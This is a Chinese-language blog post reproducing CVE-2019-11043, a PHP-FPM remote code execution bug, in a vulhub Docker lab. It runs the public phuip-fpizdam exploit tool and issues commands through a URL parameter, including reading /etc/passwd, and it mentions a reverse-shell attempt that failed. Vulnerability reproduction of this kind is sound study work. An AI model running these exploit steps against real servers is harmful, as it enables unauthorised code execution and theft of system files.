Post

漏洞复现-PHP-FPM 远程代码执行漏洞

CVE-2019-11043 从一个小的内存溢出到代码执行

构建

1
2
cd vulhub/php/CVE-2019-11043
docker-compose up -d 

漏洞原理

https://github.com/vulhub/vulhub/blob/master/php/CVE-2019-11043/README.zh-cn.md

https://blog.orange.tw/posts/2019-10-an-analysis-and-thought-about-recently/

https://cloud.tencent.com/developer/article/1530703

这是一个非常有趣的漏洞!从一个小的内存缺陷到代码执行。它结合了二进制和网络技术,

PoC(Proof of Concept) 验证漏洞存在的代码

作者利用了双缓冲机制,如果缓冲区到达末尾(pos > end),PHP-FPM 会创建一个新的缓冲区,并将前一个缓冲区放入结构成员 fcgi_data_seg->next 中。 若有 PHPINFO 页面。获取/info.php/%0a.php ,观察 $_SERVER[‘PATH_INFO’] 是否损坏! … 影响版本:PHP 5.6-7.x,Nginx>=0.7.31

Exp(Exploit)进行实际的攻击利用

安装漏洞利用工具,和利用

1
2
3
git clone https://github.com/neex/phuip-fpizdam.git
cd phuip-fpizdam
go run . "http://your-ip:8080/index.php"

访问http://your-ip:8080/index.php?a=id,即可查看到id命令已成功执行 注意:只有部分PHP-FPM子进程受到了污染,因此请尝试几次以执行RCE命令,会出现成功执行

1
/index.php?a=cat /etc/passwd 

复现总结

无法直接通过url传入反弹shell命令,执行失败

This post is licensed under CC BY 4.0 by the author.